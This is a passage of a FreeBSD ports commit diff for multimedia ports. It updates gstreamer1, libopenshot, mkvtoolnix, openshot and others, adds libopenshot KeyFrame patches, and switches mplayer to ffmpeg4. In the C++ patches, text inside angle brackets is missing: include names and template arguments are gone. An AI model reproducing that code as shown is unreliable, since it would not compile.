diff --git a/multimedia/gstreamer1/distinfo b/multimedia/gstreamer1/distinfo index 638a538c988..0c293775e54 100644 --- a/multimedia/gstreamer1/distinfo +++ b/multimedia/gstreamer1/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677561641 -SHA256 (gstreamer-1.22.0.tar.xz) = 78d21b5469ac93edafc6d8ceb63bc82f6cbbee94d2f866cca6b9252157ee0a09 -SIZE (gstreamer-1.22.0.tar.xz) = 1775960 +TIMESTAMP = 1682250852 +SHA256 (gstreamer-1.22.2.tar.xz) = b2afe73603921c608ba48969dbb7d743776744bfe5d8059ece241137b7f88e21 +SIZE (gstreamer-1.22.2.tar.xz) = 1783792 diff --git a/multimedia/lebiniou/Makefile b/multimedia/lebiniou/Makefile index 676224da0ca..89a272a6bc9 100644 --- a/multimedia/lebiniou/Makefile +++ b/multimedia/lebiniou/Makefile @@ -1,6 +1,6 @@ PORTNAME= lebiniou DISTVERSION= 3.66.0 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= multimedia graphics MAINTAINER= olivier@biniou.info diff --git a/multimedia/libopenshot/Makefile b/multimedia/libopenshot/Makefile index 228906e7b9f..2423d6f4645 100644 --- a/multimedia/libopenshot/Makefile +++ b/multimedia/libopenshot/Makefile @@ -1,7 +1,7 @@ PORTNAME= libopenshot DISTVERSIONPREFIX= v -DISTVERSION= 0.3.1 -PORTREVISION= 3 +DISTVERSION= 0.3.2 +PORTREVISION= 1 CATEGORIES= multimedia PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/multimedia/libopenshot/distinfo b/multimedia/libopenshot/distinfo index 221087b7912..ab17d896ff9 100644 --- a/multimedia/libopenshot/distinfo +++ b/multimedia/libopenshot/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681095600 -SHA256 (OpenShot-libopenshot-v0.3.1_GH0.tar.gz) = 239f9df1f5b547257d5e76062c3177ff3ff372b8cda336637d752141a5a8e625 -SIZE (OpenShot-libopenshot-v0.3.1_GH0.tar.gz) = 26131959 +TIMESTAMP = 1682218800 +SHA256 (OpenShot-libopenshot-v0.3.2_GH0.tar.gz) = 58765cfc8aec199814346e97ce31a5618a261260b380670a6fb2bf6f68733638 +SIZE (OpenShot-libopenshot-v0.3.2_GH0.tar.gz) = 26132237 diff --git a/multimedia/libopenshot/files/patch-src_KeyFrame.cpp b/multimedia/libopenshot/files/patch-src_KeyFrame.cpp new file mode 100644 index 00000000000..8a8b80337b5 --- /dev/null +++ b/multimedia/libopenshot/files/patch-src_KeyFrame.cpp @@ -0,0 +1,309 @@ +--- src/KeyFrame.cpp.orig 2023-04-19 22:01:02 UTC ++++ src/KeyFrame.cpp +@@ -15,12 +15,12 @@ + + #include // For std::lower_bound, std::move_backward + #include // For std::less, std::less_equal, etc… +-#include // For std::swap +-#include // For std::accumulate +-#include // For assert() +-#include // For fabs, round +-#include // For std::cout +-#include // For std::setprecision ++#include // For std::swap ++#include // For std::accumulate ++#include // For assert() ++#include // For fabs, round ++#include // For std::cout ++#include // For std::setprecision + + using namespace std; + using namespace openshot; +@@ -122,8 +122,8 @@ Keyframe::Keyframe(const std::vector& + + // Destructor + Keyframe::~Keyframe() { +- Points.clear(); +- Points.shrink_to_fit(); ++ Points.clear(); ++ Points.shrink_to_fit(); + } + + // Add a new point on the key-frame. Each point has a primary coordinate, +@@ -291,41 +291,27 @@ int64_t Keyframe::GetLong(int64_t index) const { + // Get the direction of the curve at a specific index (increasing or decreasing) + bool Keyframe::IsIncreasing(int index) const + { +- if (index <= 1) { +- // Determine direction of frame 1 (and assume previous frames have same direction) +- index = 1; +- } else if (index >= GetLength()) { +- // Determine direction of last valid frame # (and assume next frames have same direction) +- index = GetLength() - 1; ++ if (index < 1 || (index + 1) >= GetLength()) { ++ return true; + } +- +- // Get current index value +- const double current_value = GetValue(index); +- +- // Iterate from current index to next significant value change +- int attempts = 1; +- while (attempts < 600 && index + attempts <= GetLength()) { +- // Get next value +- const double next_value = GetValue(index + attempts); +- +- // Is value significantly different +- const double diff = next_value - current_value; +- if (fabs(diff) > 0.0001) { +- if (diff < 0.0) { +- // Decreasing value found next +- return false; +- } else { +- // Increasing value found next +- return true; +- } +- } +- +- // increment attempt +- attempts++; ++ std::vector::const_iterator candidate = ++ std::lower_bound(begin(Points), end(Points), static_cast(index), IsPointBeforeX); ++ if (candidate == end(Points)) { ++ return false; // After the last point, thus constant. + } +- +- // If no next value found, assume increasing values +- return true; ++ if ((candidate->co.X == index) || (candidate == begin(Points))) { ++ ++candidate; ++ } ++ int64_t const value = GetLong(index); ++ do { ++ if (value < round(candidate->co.Y)) { ++ return true; ++ } else if (value > round(candidate->co.Y)) { ++ return false; ++ } ++ ++candidate; ++ } while (candidate != end(Points)); ++ return false; + } + + // Generate JSON string of this object +@@ -388,12 +374,116 @@ void Keyframe::SetJsonValue(const Json::Value root) { + } + } + ++// Get the fraction that represents how many times this value is repeated in the curve ++// This is depreciated and will be removed soon. ++Fraction Keyframe::GetRepeatFraction(int64_t index) const { ++ // Frame numbers (index) outside of the "defined" range of this ++ // keyframe result in a 1/1 default value. ++ if (index < 1 || (index + 1) >= GetLength()) { ++ return Fraction(1,1); ++ } ++ assert(Points.size() > 1); // Due to ! ((index + 1) >= GetLength) there are at least two points! ++ ++ // First, get the value at the given frame and the closest point ++ // to the right. ++ int64_t const current_value = GetLong(index); ++ std::vector::const_iterator const candidate = ++ std::lower_bound(begin(Points), end(Points), static_cast(index), IsPointBeforeX); ++ assert(candidate != end(Points)); // Due to the (index + 1) >= GetLength check above! ++ ++ // Calculate how many of the next values are going to be the same: ++ int64_t next_repeats = 0; ++ std::vector::const_iterator i = candidate; ++ // If the index (frame number) is the X coordinate of the closest ++ // point, then look at the segment to the right; the "current" ++ // segement is not interesting because we're already at the last ++ // value of it. ++ if (i->co.X == index) { ++ ++i; ++ } ++ // Skip over "constant" (when rounded) segments. ++ bool all_constant = true; ++ for (; i != end(Points); ++i) { ++ if (current_value != round(i->co.Y)) { ++ all_constant = false; ++ break; ++ } ++ } ++ if (! all_constant) { ++ // Found a point which defines a segment which will give a ++ // different value than the current value. This means we ++ // moved at least one segment to the right, thus we cannot be ++ // at the first point. ++ assert(i != begin(Points)); ++ Point const left = *(i - 1); ++ Point const right = *i; ++ int64_t change_at; ++ if (current_value < round(i->co.Y)) { ++ change_at = SearchBetweenPoints(left, right, current_value, std::less_equal{}); ++ } else { ++ assert(current_value > round(i->co.Y)); ++ change_at = SearchBetweenPoints(left, right, current_value, std::greater_equal{}); ++ } ++ next_repeats = change_at - index; ++ } else { ++ // All values to the right are the same! ++ next_repeats = Points.back().co.X - index; ++ } ++ ++ // Now look to the left, to the previous values. ++ all_constant = true; ++ i = candidate; ++ if (i != begin(Points)) { ++ // The binary search below assumes i to be the left point; ++ // candidate is the right point of the current segment ++ // though. So change this if possible. If this branch is NOT ++ // taken, then we're at/before the first point and all is ++ // constant! ++ --i; ++ } ++ int64_t previous_repeats = 0; ++ // Skip over constant (when rounded) segments! ++ for (; i != begin(Points); --i) { ++ if (current_value != round(i->co.Y)) { ++ all_constant = false; ++ break; ++ } ++ } ++ // Special case when skipped until the first point, but the first ++ // point is actually different. Will not happen if index is ++ // before the first point! ++ if (current_value != round(i->co.Y)) { ++ assert(i != candidate); ++ all_constant = false; ++ } ++ if (! all_constant) { ++ // There are at least two points, and we're not at the end, ++ // thus the following is safe! ++ Point const left = *i; ++ Point const right = *(i + 1); ++ int64_t change_at; ++ if (current_value > round(left.co.Y)) { ++ change_at = SearchBetweenPoints(left, right, current_value, std::less{}); ++ } else { ++ assert(current_value < round(left.co.Y)); ++ change_at = SearchBetweenPoints(left, right, current_value, std::greater{}); ++ } ++ previous_repeats = index - change_at; ++ } else { ++ // Every previous value is the same (rounded) as the current ++ // value. ++ previous_repeats = index; ++ } ++ int64_t total_repeats = previous_repeats + next_repeats; ++ return Fraction(previous_repeats, total_repeats); ++} ++ + // Get the change in Y value (from the previous Y value) + double Keyframe::GetDelta(int64_t index) const { +- if (index < 1) return 0.0; +- if (index == 1 && !Points.empty()) return Points[0].co.Y; +- if (index >= GetLength()) return 0.0; +- return GetValue(index) - GetValue(index - 1); ++ if (index < 1) return 0; ++ if (index == 1 && ! Points.empty()) return Points[0].co.Y; ++ if (index >= GetLength()) return 0; ++ return GetLong(index) - GetLong(index - 1); + } + + // Get a point at a specific index +@@ -410,7 +500,7 @@ Point const & Keyframe::GetPoint(int64_t index) const + int64_t Keyframe::GetLength() const { + if (Points.empty()) return 0; + if (Points.size() == 1) return 1; +- return round(Points.back().co.X); ++ return round(Points.back().co.X) + 1; + } + + // Get the number of points (i.e. # of points) +@@ -461,46 +551,50 @@ void Keyframe::UpdatePoint(int64_t index, Point p) { + } + + void Keyframe::PrintPoints(std::ostream* out) const { +- *out << std::right << std::setprecision(4) << std::setfill(' '); +- for (const auto& p : Points) { +- *out << std::defaultfloat +- << std::setw(6) << p.co.X +- << std::setw(14) << std::fixed << p.co.Y +- << '\n'; +- } +- *out << std::flush; ++ *out << std::right << std::setprecision(4) << std::setfill(' '); ++ for (const auto& p : Points) { ++ *out << std::defaultfloat ++ << std::setw(6) << p.co.X ++ << std::setw(14) << std::fixed << p.co.Y ++ << '\n'; ++ } ++ *out << std::flush; + } + + void Keyframe::PrintValues(std::ostream* out) const { +- // Column widths +- std::vector w{10, 12, 8, 11, 19}; ++ // Column widths ++ std::vector w{10, 12, 8, 11, 19}; + +- *out << std::right << std::setfill(' ') << std::setprecision(4); +- // Headings +- *out << "│" +- << std::setw(w[0]) << "Frame# (X)" << " │" +- << std::setw(w[1]) << "Y Value" << " │" +- << std::setw(w[2]) << "Delta Y" << " │ " +- << std::setw(w[3]) << "Increasing?" << std::right +- << "│\n"; +- // Divider +- *out << "├───────────" +- << "┼─────────────" +- << "┼─────────" +- << "┼────────────┤\n"; ++ *out << std::right << std::setfill(' ') << std::setprecision(4); ++ // Headings ++ *out << "│" ++ << std::setw(w[0]) << "Frame# (X)" << " │" ++ << std::setw(w[1]) << "Y Value" << " │" ++ << std::setw(w[2]) << "Delta Y" << " │ " ++ << std::setw(w[3]) << "Increasing?" << " │ " ++ << std::setw(w[4]) << std::left << "Repeat Fraction" << std::right ++ << "│\n"; ++ // Divider ++ *out << "├───────────" ++ << "┼─────────────" ++ << "┼─────────" ++ << "┼─────────────" ++ << "┼────────────────────┤\n"; + +- for (int64_t i = 1; i <= GetLength(); ++i) { +- *out << "│" +- << std::setw(w[0]-2) << std::defaultfloat << i +- << (Contains(Point(i, 1)) ? " *" : " ") << " │" +- << std::setw(w[1]) << std::fixed << GetValue(i) << " │" +- << std::setw(w[2]) << std::defaultfloat << std::showpos +- << GetDelta(i) << " │ " << std::noshowpos +- << std::setw(w[3]) +- << (IsIncreasing(i) ? "true" : "false") << std::right << "│\n"; +- } +- *out << " * = Keyframe point (non-interpolated)\n"; +- *out << std::flush; ++ for (int64_t i = 1; i < GetLength(); ++i) { ++ *out << "│" ++ << std::setw(w[0]-2) << std::defaultfloat << i ++ << (Contains(Point(i, 1)) ? " *" : " ") << " │" ++ << std::setw(w[1]) << std::fixed << GetValue(i) << " │" ++ << std::setw(w[2]) << std::defaultfloat << std::showpos ++ << GetDelta(i) << " │ " << std::noshowpos ++ << std::setw(w[3]) ++ << (IsIncreasing(i) ? "true" : "false") << " │ " ++ << std::setw(w[4]) << std::left << GetRepeatFraction(i) ++ << std::right << "│\n"; ++ } ++ *out << " * = Keyframe point (non-interpolated)\n"; ++ *out << std::flush; + } + + diff --git a/multimedia/libopenshot/files/patch-src_KeyFrame.h b/multimedia/libopenshot/files/patch-src_KeyFrame.h new file mode 100644 index 00000000000..45aec4e0c49 --- /dev/null +++ b/multimedia/libopenshot/files/patch-src_KeyFrame.h @@ -0,0 +1,31 @@ +--- src/KeyFrame.h.orig 2023-04-19 22:01:02 UTC ++++ src/KeyFrame.h +@@ -16,6 +16,7 @@ + #include + #include + ++#include "Fraction.h" + #include "Point.h" + #include "Json.h" + +@@ -66,8 +67,8 @@ namespace openshot { + /// Constructor which adds a supplied vector of Points + Keyframe(const std::vector& points); + +- /// Destructor +- ~Keyframe(); ++ /// Destructor ++ ~Keyframe(); + + /// Add a new point on the key-frame. Each point has a primary coordinate, a left handle, and a right handle. + void AddPoint(Point p); +@@ -92,6 +93,9 @@ namespace openshot { + + /// Get the rounded LONG value at a specific index + int64_t GetLong(int64_t index) const; ++ ++ /// Get the fraction that represents how many times this value is repeated in the curve ++ Fraction GetRepeatFraction(int64_t index) const; + + /// Get the change in Y value (from the previous Y value) + double GetDelta(int64_t index) const; diff --git a/multimedia/libopenshot/pkg-plist b/multimedia/libopenshot/pkg-plist index 5e82b8c0aec..6b1f5a7cbd5 100644 --- a/multimedia/libopenshot/pkg-plist +++ b/multimedia/libopenshot/pkg-plist @@ -97,8 +97,8 @@ include/libopenshot/effects/Wave.h include/libopenshot/sort_filter/Hungarian.h include/libopenshot/sort_filter/KalmanTracker.h lib/libopenshot.so -lib/libopenshot.so.0.3.1 -lib/libopenshot.so.24 +lib/libopenshot.so.0.3.2 +lib/libopenshot.so.25 %%PYTHON_SITELIBDIR%%/_openshot.so %%PYTHON_SITELIBDIR%%/openshot.py %%RUBY%%%%RUBY_VENDORARCHLIBDIR%%/openshot.so diff --git a/multimedia/libxine/Makefile b/multimedia/libxine/Makefile index a9655d99efe..a262f295b7e 100644 --- a/multimedia/libxine/Makefile +++ b/multimedia/libxine/Makefile @@ -1,6 +1,6 @@ PORTNAME= xine DISTVERSION= 1.2.13 -PORTREVISION= 1 +PORTREVISION= 3 CATEGORIES= multimedia MASTER_SITES= SF/${PORTNAME}/${PORTNAME}-lib/${DISTVERSION} PKGNAMEPREFIX= lib diff --git a/multimedia/lives/Makefile b/multimedia/lives/Makefile index 7b5ca98f8ac..7d3d6b3a0c2 100644 --- a/multimedia/lives/Makefile +++ b/multimedia/lives/Makefile @@ -1,6 +1,6 @@ PORTNAME= lives DISTVERSION= 3.2.0 -PORTREVISION= 18 +PORTREVISION= 19 CATEGORIES= multimedia MASTER_SITES= http://lives-video.com/releases/ DISTNAME= LiVES-${PORTVERSION} diff --git a/multimedia/mencoder/Makefile b/multimedia/mencoder/Makefile index 44826e691f0..f355d289e2e 100644 --- a/multimedia/mencoder/Makefile +++ b/multimedia/mencoder/Makefile @@ -1,6 +1,6 @@ PORTNAME= mencoder PORTVERSION= ${MPLAYER_PORT_VERSION}.${MPLAYER_SNAPSHOT_DATE:S/-//g} -PORTREVISION= 2 +PORTREVISION= 4 CATEGORIES= multimedia audio MAINTAINER= riggs@FreeBSD.org diff --git a/multimedia/mkvtoolnix/Makefile b/multimedia/mkvtoolnix/Makefile index 8437d7cad44..2f4e526c62a 100644 --- a/multimedia/mkvtoolnix/Makefile +++ b/multimedia/mkvtoolnix/Makefile @@ -1,5 +1,5 @@ PORTNAME= mkvtoolnix -PORTVERSION= 75.0.0 +PORTVERSION= 76.0 CATEGORIES= multimedia audio MASTER_SITES= https://www.bunkus.org/videotools/mkvtoolnix/sources/ \ https://mkvtoolnix.download/sources/ diff --git a/multimedia/mkvtoolnix/distinfo b/multimedia/mkvtoolnix/distinfo index 20fd77a4dfc..ebe37306246 100644 --- a/multimedia/mkvtoolnix/distinfo +++ b/multimedia/mkvtoolnix/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680350932 -SHA256 (mkvtoolnix-75.0.0.tar.xz) = e7ad116f374cdf8370fa566ed7fe23ecdcf413dbe6dd90ab3f82904d0cf7516f -SIZE (mkvtoolnix-75.0.0.tar.xz) = 11009552 +TIMESTAMP = 1682934190 +SHA256 (mkvtoolnix-76.0.tar.xz) = 6ace661b61a49d1026b1a97336051d7aa85d56fb34527f2ca97d8933f7efe90d +SIZE (mkvtoolnix-76.0.tar.xz) = 11021180 diff --git a/multimedia/mlt7/Makefile b/multimedia/mlt7/Makefile index 1c264aaf375..7dc8e56c2f4 100644 --- a/multimedia/mlt7/Makefile +++ b/multimedia/mlt7/Makefile @@ -9,6 +9,10 @@ MASTER_SITES= https://github.com/mltframework/mlt/releases/download/v${DISTVERS DISTFILES= mlt-${DISTVERSION}${EXTRACT_SUFX} WRKSRC= ${WRKDIR}/mlt-${DISTVERSION} +PATCH_SITES= https://github.com/mltframework/mlt/commit/ +PATCHFILES= a3d49ccb92e2544bcc1957ce046bf63f71b468a6.patch:-p1 \ + 1eee2187410ae16f520409dcdcf6de789d8bafd9.patch:-p1 + MAINTAINER= kde@FreeBSD.org COMMENT?= Multimedia framework for TV broadcasting WWW= https://www.mltframework.org/ diff --git a/multimedia/mlt7/distinfo b/multimedia/mlt7/distinfo index 38797e9e172..941346db14f 100644 --- a/multimedia/mlt7/distinfo +++ b/multimedia/mlt7/distinfo @@ -1,3 +1,7 @@ -TIMESTAMP = 1678167341 +TIMESTAMP = 1682924020 SHA256 (mlt-7.14.0.tar.gz) = 3a7e83ed5e30f3f2d073d172c9d886310d8a73dbd2ee850ad44e3c43a9ab6394 SIZE (mlt-7.14.0.tar.gz) = 1509786 +SHA256 (a3d49ccb92e2544bcc1957ce046bf63f71b468a6.patch) = 7dfc07c1420d64ca7a974b47bd63c6e1c797ffa85327b625df7887ed87a4f5a6 +SIZE (a3d49ccb92e2544bcc1957ce046bf63f71b468a6.patch) = 2418 +SHA256 (1eee2187410ae16f520409dcdcf6de789d8bafd9.patch) = dacaafee580a9c7324157d65c0f7a0ab4cdeae5490570e3a94fee05cb2dd99ef +SIZE (1eee2187410ae16f520409dcdcf6de789d8bafd9.patch) = 952 diff --git a/multimedia/mplayer/Makefile b/multimedia/mplayer/Makefile index 3e57d404d1f..f9fce65ff92 100644 --- a/multimedia/mplayer/Makefile +++ b/multimedia/mplayer/Makefile @@ -1,6 +1,6 @@ PORTNAME= mplayer PORTVERSION= ${MPLAYER_PORT_VERSION}.${MPLAYER_SNAPSHOT_DATE:S/-//g} -PORTREVISION= 2 +PORTREVISION= 4 CATEGORIES= multimedia audio MAINTAINER= riggs@FreeBSD.org diff --git a/multimedia/mplayer/Makefile.common b/multimedia/mplayer/Makefile.common index ec9ce778dea..25522f9fd95 100644 --- a/multimedia/mplayer/Makefile.common +++ b/multimedia/mplayer/Makefile.common @@ -12,7 +12,7 @@ LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libpng.so:graphics/png \ - libavcodec.so:multimedia/ffmpeg \ + libavcodec.so.58:multimedia/ffmpeg4 \ libfreetype.so:print/freetype2 BUILD_DEPENDS= ${BUILD_DEPENDS_${ARCH}} @@ -21,7 +21,8 @@ BUILD_DEPENDS_i386= as:devel/binutils USES= compiler:c11 gmake iconv ncurses tar:xz NOPRECIOUSMAKEVARS= yes # ARCH HAS_CONFIGURE= yes -CONFIGURE_ENV= TMPDIR="${WRKSRC}" +CONFIGURE_ENV+= TMPDIR="${WRKSRC}" \ + PKG_CONFIG_PATH="${LOCALBASE}/ffmpeg4/libdata/pkgconfig" CONFIGURE_ARGS= --cc="${CC}" \ --host-cc="${CC}" \ --as="${AS}" \ @@ -50,6 +51,10 @@ CONFIGURE_ARGS= --cc="${CC}" \ --disable-real \ --yasm='' +MAKE_ENV+= PKG_CONFIG_PATH="${LOCALBASE}/ffmpeg4/libdata/pkgconfig" + +CFLAGS+= -I${LOCALBASE}/ffmpeg4/include + common-post-patch: @${REINPLACE_CMD} \ -e 's|/dev/dvd|${DEFAULT_DVD_DEVICE}|; \ diff --git a/multimedia/mplayer/files/patch-Makefile b/multimedia/mplayer/files/patch-Makefile index fe4d63a722e..0321c42a4b8 100644 --- a/multimedia/mplayer/files/patch-Makefile +++ b/multimedia/mplayer/files/patch-Makefile @@ -5,7 +5,7 @@ codec-cfg$(EXESUF) codecs2html$(EXESUF): HOSTCFLAGS := $(HOSTCFLAGS) -DCODECS2HTML codec-cfg$(EXESUF) codec-cfg-test$(EXESUF) codecs2html$(EXESUF): codec-cfg.c codec-cfg.h help_mp.h - $(HOST_CC) $(HOSTCFLAGS) -o $@ $< -+ $(HOST_CC) $(HOSTCFLAGS) -I%%LOCALBASE%%/include -o $@ $< ++ $(HOST_CC) $(HOSTCFLAGS) -I%%LOCALBASE%%/ffmpeg4/include -o $@ $< codecs.conf.h: codec-cfg$(EXESUF) etc/codecs.conf ./$^ > $@ diff --git a/multimedia/mplayer/files/patch-configure b/multimedia/mplayer/files/patch-configure index 0fee48e1d8a..e9feca44baa 100644 --- a/multimedia/mplayer/files/patch-configure +++ b/multimedia/mplayer/files/patch-configure @@ -1,6 +1,6 @@ ---- configure.orig 2021-03-05 12:28:06 UTC +--- configure.orig 2023-02-20 22:41:00 UTC +++ configure -@@ -664,7 +664,7 @@ armthumb=auto +@@ -666,7 +666,7 @@ armthumb=auto _iwmmxt=auto _mtrr=auto _altivec=auto @@ -9,7 +9,7 @@ _ranlib=ranlib _windres=windres _cc=cc -@@ -1016,7 +1016,7 @@ for ac_option do +@@ -1019,7 +1019,7 @@ for ac_option do ld_static='' ;; --enable-profile) @@ -18,7 +18,7 @@ ;; --disable-profile) _profile= -@@ -1486,7 +1486,6 @@ for ac_option do +@@ -1491,7 +1491,6 @@ for ac_option do *) echo "Unknown parameter: $ac_option" @@ -26,7 +26,7 @@ ;; esac -@@ -1524,40 +1523,6 @@ rm -f "$TMPLOG" +@@ -1529,40 +1528,6 @@ rm -f "$TMPLOG" echo configuration: $configuration > "$TMPLOG" echo >> "$TMPLOG" @@ -67,7 +67,7 @@ list_subparts() { test ! -e ffmpeg/libav${3} && return 1 pattern="s/^[^#]*${1}.*([^ ,]*, *\([^ ,)]*\).*/\1_${2}/p" -@@ -1836,7 +1801,7 @@ if test -z "$_target" ; then +@@ -1844,7 +1809,7 @@ if test -z "$_target" ; then case "$1" in x86_64|amd64|x64|i[3-9]86*|i86pc|x86|x86pc|k5|k6|k6_2|k6_3|k6-2|k6-3|pentium*|athlon*|i586_i686|i586-i686) host_arch=i386 ;; ia64) host_arch=ia64 ;; @@ -76,7 +76,7 @@ alpha) host_arch=alpha ;; sun4*|sparc*) host_arch=sparc ;; parisc*|hppa*|9000*) host_arch=hppa ;; -@@ -1962,7 +1927,11 @@ echocheck "working compiler" +@@ -1970,7 +1935,11 @@ echocheck "working compiler" cflag_check "" || die "Compiler is not functioning correctly. Check your installation and custom CFLAGS $CFLAGS ." echo "yes" @@ -89,7 +89,7 @@ if test -z "$_target" ; then cat > $TMPC << EOF -@@ -3090,7 +3059,7 @@ if x86_32 ; then +@@ -3100,7 +3069,7 @@ if x86_32 ; then _pref_as_version='2.16.92' echo 'pabsd %xmm0, %xmm1' >> $TMPS fi @@ -98,7 +98,7 @@ if test "$as_verc_fail" != yes ; then echores "ok" -@@ -3357,6 +3326,13 @@ if arm ; then +@@ -3367,6 +3336,13 @@ if arm ; then fi echores "$setend" @@ -112,7 +112,7 @@ echocheck "softfloat ABI" softfloat=yes cpp_condition_check '' 'defined(__ARM_PCS_VFP) || (!defined(__ARM_PCS) && !defined(__SOFTFP__))' && softfloat=no -@@ -4266,7 +4242,7 @@ echocheck "pthread" +@@ -4277,7 +4253,7 @@ echocheck "pthread" if linux ; then THREAD_CFLAGS=-D_REENTRANT elif freebsd || netbsd || openbsd || bsdos ; then @@ -121,7 +121,7 @@ fi if test "$_pthreads" = auto ; then cat > $TMPC << EOF -@@ -4276,7 +4252,7 @@ int main(void) { pthread_t tid; return pthread_create( +@@ -4287,7 +4263,7 @@ int main(void) { pthread_t tid; return pthread_create( EOF _pthreads=no if ! hpux ; then @@ -130,7 +130,7 @@ # for crosscompilation, we cannot execute the program, be happy if we can link statically cc_check $THREAD_CFLAGS $ld_tmp && (tmp_run || test "$ld_static") && ld_pthread="$ld_tmp" && _pthreads=yes && break done -@@ -4419,7 +4395,7 @@ int main(void) { +@@ -4430,7 +4406,7 @@ int main(void) { } EOF _iconv=no @@ -139,7 +139,17 @@ cc_check $ld_tmp && extra_ldflags="$extra_ldflags $ld_tmp" && ld_iconv="$ld_tmp" && _iconv=yes && break done -@@ -5866,15 +5842,6 @@ EOF +@@ -4460,7 +4436,8 @@ if test "$_termcap" = auto ; then + _termcap=no + for ld_tmp in "-lncurses" "-ltinfo" "-ltermcap"; do + statement_check term.h 'tgetent(0, 0)' $ld_tmp && +- extra_ldflags="$extra_ldflags $ld_tmp" && ++ # Nudge the linker into finding ffmpeg4 symbols first ++ extra_ldflags="-L%%LOCALBASE%%/ffmpeg4/lib $extra_ldflags $ld_tmp" && + ld_termcap="$ld_tmp" && _termcap=yes && break + done + fi +@@ -5876,15 +5853,6 @@ EOF break fi done @@ -155,7 +165,7 @@ if win32 && cc_check -DGL_WIN32 -lopengl32 ; then _gl=yes _gl_win32=yes -@@ -6409,7 +6376,7 @@ elif darwin ; then +@@ -6419,7 +6387,7 @@ elif darwin ; then elif dragonfly ; then default_cdrom_device="/dev/cd0" elif freebsd ; then @@ -164,7 +174,7 @@ elif openbsd ; then default_cdrom_device="/dev/rcd0c" elif sunos ; then -@@ -6422,7 +6389,7 @@ else +@@ -6432,7 +6400,7 @@ else default_cdrom_device="/dev/cdrom" fi @@ -173,7 +183,7 @@ default_dvd_device=$default_cdrom_device elif darwin ; then default_dvd_device="/dev/rdiskN" -@@ -6948,7 +6915,7 @@ echores "$_speex" +@@ -6959,7 +6927,7 @@ echores "$_speex" echocheck "libgsm" if test "$_libgsm" = auto ; then _libgsm=no @@ -182,7 +192,7 @@ fi if test "$_libgsm" = yes ; then def_libgsm='#define CONFIG_LIBGSM 1' -@@ -7424,6 +7391,16 @@ if test "$_librtmp" = yes && test "$networking" = yes; +@@ -7391,6 +7359,16 @@ if test "$_librtmp" = yes && test "$networking" = yes; nolibrtmp=no def_librtmp='#define CONFIG_LIBRTMP 1' inputmodules="librtmp $inputmodules" @@ -199,7 +209,7 @@ else nolibrtmp=yes _librtmp=no -@@ -7813,7 +7790,7 @@ echores "$_mp3lame" +@@ -7808,7 +7786,7 @@ echores "$_mp3lame" echocheck "mencoder" if test "$_mencoder" = no ; then # mpeg1video for vf_lavc, snow for vf_uspp / vf_mcdeint, @@ -208,12 +218,12 @@ fi echores "$_mencoder" -@@ -8419,7 +8396,7 @@ libs_mplayer=$ld_tmp +@@ -8414,7 +8392,7 @@ libs_mplayer=$ld_tmp ############################################################################# -CFLAGS="$CFLAGS -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE" +CFLAGS="$CFLAGS -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" - CXXFLAGS=" $CFLAGS -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS" + CXXFLAGS=" $CFLAGS -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -std=c++98" diff --git a/multimedia/openshot/Makefile b/multimedia/openshot/Makefile index 9c96540bd4c..66fd4b0cdf4 100644 --- a/multimedia/openshot/Makefile +++ b/multimedia/openshot/Makefile @@ -1,7 +1,6 @@ PORTNAME= openshot DISTVERSIONPREFIX= v -DISTVERSION= 3.1.0 -PORTREVISION= 2 +DISTVERSION= 3.1.1 CATEGORIES= multimedia MAINTAINER= tatsuki_makino@hotmail.com @@ -12,7 +11,7 @@ LICENSE= GPLv3+ LICENSE_FILE= ${WRKSRC}/COPYING BUILD_DEPENDS= ${RUN_DEPENDS} -RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}libopenshot>=0.3.1:multimedia/libopenshot@${PY_FLAVOR} \ +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}libopenshot>=0.3.2:multimedia/libopenshot@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}sentry-sdk>=0:devel/py-sentry-sdk@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}pyzmq>=0:net/py-pyzmq@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}distro>=0:sysutils/py-distro@${PY_FLAVOR} \ diff --git a/multimedia/openshot/distinfo b/multimedia/openshot/distinfo index 19dea14df8a..efef469bad4 100644 --- a/multimedia/openshot/distinfo +++ b/multimedia/openshot/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681095600 -SHA256 (OpenShot-openshot-qt-v3.1.0_GH0.tar.gz) = 0522bd6c7d2b254e598d0ed53e7b6b8d7af566e6242f1d2af22c281807fc3f9a -SIZE (OpenShot-openshot-qt-v3.1.0_GH0.tar.gz) = 95780829 +TIMESTAMP = 1682218800 +SHA256 (OpenShot-openshot-qt-v3.1.1_GH0.tar.gz) = 2b67cb4fc78863911b0263364240947b6331a976aad74943e8f6e46221b52e91 +SIZE (OpenShot-openshot-qt-v3.1.1_GH0.tar.gz) = 95843738 diff --git a/multimedia/openshot/files/patch-src_classes_language.py b/multimedia/openshot/files/patch-src_classes_language.py new file mode 100644 index 00000000000..04248014eb6 --- /dev/null +++ b/multimedia/openshot/files/patch-src_classes_language.py @@ -0,0 +1,14 @@ +--- src/classes/language.py.orig 2023-04-20 05:27:15 UTC ++++ src/classes/language.py +@@ -101,7 +101,10 @@ def init_language(): + log.info("Language overridden on command line, using: {}".format(info.CMDLINE_LANGUAGE)) + + # Default the locale to C, for number formatting +- locale.setlocale(locale.LC_ALL, 'C') ++ if ".UTF-8" in locale.setlocale(locale.LC_ALL): ++ locale.setlocale(locale.LC_ALL, 'C.UTF-8') ++ else: ++ locale.setlocale(locale.LC_ALL, 'C') + + # Loop through environment variables + found_language = False diff --git a/multimedia/openshot/files/patch-src_windows_preferences.py b/multimedia/openshot/files/patch-src_windows_preferences.py index b361734d20b..c0dc577ef5c 100644 --- 